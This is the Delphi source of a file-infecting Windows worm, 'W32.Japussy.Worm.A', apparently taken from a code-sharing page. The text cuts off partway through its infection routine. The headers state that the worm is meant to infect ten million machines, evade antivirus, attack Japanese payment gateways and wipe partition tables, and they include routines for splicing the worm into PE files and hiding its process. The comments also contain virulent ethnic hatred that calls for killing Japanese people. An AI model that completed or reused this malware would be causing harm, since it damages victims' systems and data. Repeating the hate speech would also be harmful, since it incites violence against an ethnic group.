?? japussy.dpr
字號:
{**********************************************************************}
{ }
{ Crossbow Virus OpenSource Project }
{ }
{ Copyright (C) 1999-2003 Crossbow [CHiNA] }
{ }
{ Taking our names from the great empire, instinct-driven face of the }
{ human psyche, Chinese are, by general acknowledgement, the smartest }
{ race in the world. Today, the sons of Qin Empire will give the just }
{ punishment to those lousy japs, the mose flagitious race of the }
{ world, the biggest enemy of all Chinese. }
{ }
{ All wrathful brethren, Unite! }
{ }
{ This program is free software; you can redistribute it and/or modify }
{ it under the terms of the GNU General Public License as published by }
{ the Free Software Foundation; either version 2, or (at your option) }
{ any later version. }
{ }
{ Crossbow病毒開放源代碼計劃 }
{ }
{ 版權所有 (C) 1999-2003 Crossbow [中國] }
{ }
{ 就像我們的名字來自于那個偉大的帝國一樣,人類靈魂的本能所能公認的, }
{ 中華民族,是全世界眾所周知最聰明的民族。今天,大秦帝國的子孫們將給予 }
{ 中華民族的世代仇敵,那些卑劣猥瑣的倭狗,世界上最無恥、最卑鄙、最殘忍 }
{ 的民族以正義的懲罰。 }
{ }
{ 憤怒的炎黃子孫們,團結起來! }
{ }
{ 這份程序是自由軟件,你可以在基于由自由軟件基金會(Free Software }
{ Foundation) 所發布之GNU通用公眾協議(GNU General Public License)的原 }
{ 則上再分發和/或修改它,或其后續版本。 }
{ }
{**********************************************************************}
{**********************************************************************}
{ Name: W32.Japussy.Worm.A 0.01 Alpha }
{ Date: 2003/10/21 }
{ Compiler: Delphi 5 or later }
{ Contributors: Sorted by Alphabet }
{ BaiLaoHu [bailaohu@yeah.net] }
{ Crossbow [crossbow@borlandsoft.com] }
{ JunFengRen [junfeng.ren@mail.tinco.com] }
{ ThenLong [thenlong@msn.com] }
{ TieXinLiu [tiexinliu@8860.net] }
{ Total 5 persons }
{ }
{ 名字: W32.Japussy.Worm.A 0.01 Alpha }
{ 日期: 2003/10/21 }
{ 編譯器: Delphi 5或更新 }
{ 參與者: 以字母順序排列 }
{ BaiLaoHu [bailaohu@yeah.net] }
{ Crossbow [crossbow@borlandsoft.com] }
{ JunFengRen [junfeng.ren@mail.tinco.com] }
{ ThenLong [thenlong@msn.com] }
{ TieXinLiu [tiexinliu@8860.net] }
{ 目前總共5人 }
{**********************************************************************}
{**********************************************************************}
{ 待解決的問題: }
{ }
{ 1. WinNT下遠程線程映射到Explorer進程 }
{ 1. WinNT下獲得管理員權限 }
{ 2. 自己開SMTP服務器發帶毒郵件或者用ESMTP發帶毒郵件 }
{ 3. Base64編碼,在保持不大幅增加病毒體大小的前提下 }
{ 4. 固定日期DDoS(集群式拒絕服務)攻擊指定倭狗網站支付網關 }
{ 5. 能殺掉常見防火墻和殺毒軟件進程 }
{ 6. 絕對磁盤扇區寫操作,摧毀分區表和文件分配表 }
{**********************************************************************}
{**********************************************************************}
{ 這份計劃借鑒了SOJ老大的代碼,并做了大量的修改和完善。Upx壓縮過的病毒 }
{ 體只有38K,和其它Win32ASM寫的6K左右的病毒來說可以是龐然大物了。由于 }
{ 沒有修改入口點,目前Norton AntiVirus 2001無法查出它。 }
{ }
{ 我認為與其在論壇上對倭狗破口大罵,還不如做點實事。一來可以學習知識, }
{ 提高水平,認識一些可以互相學習的朋友。二來完工后可以讓倭狗吃點苦頭, }
{ 還是很愜意的。我的目標是感染1000萬臺以上的機器。 }
{ }
{ 目前這個病毒還遠遠沒有達到預定的設想,所以希望大家一起來完善它。如果 }
{ 可能,以后會用Win32Asm重寫它。 }
{ }
{ 這是一個公益計劃,本著完全自愿開發的原則。希望大家在不影響工作的情況 }
{ 下利用空余時間加入本計劃。加入這個計劃的朋友可以獲贈我收藏的200余篇 }
{ 病毒的代碼和資料,我將不定期在CSDN上公布計劃的進度。 }
{ }
{**********************************************************************}
{**********************************************************************}
{ 嚴重警告: }
{ }
{ !!!請不要在未讀懂源代碼的情況下編譯運行本程序,否則后果自負!!! }
{ }
{ 我們交流的是技術,展示的源代碼和相關代碼的目的只是為了說明技術的原理 }
{ 和使用。如果任何個人或組織利用本文檔發布的技術進行破壞,應由其本人負 }
{ 責,與本計劃的參與者無關!!! }
{ }
{**********************************************************************}
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量
//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744字節
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記
//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -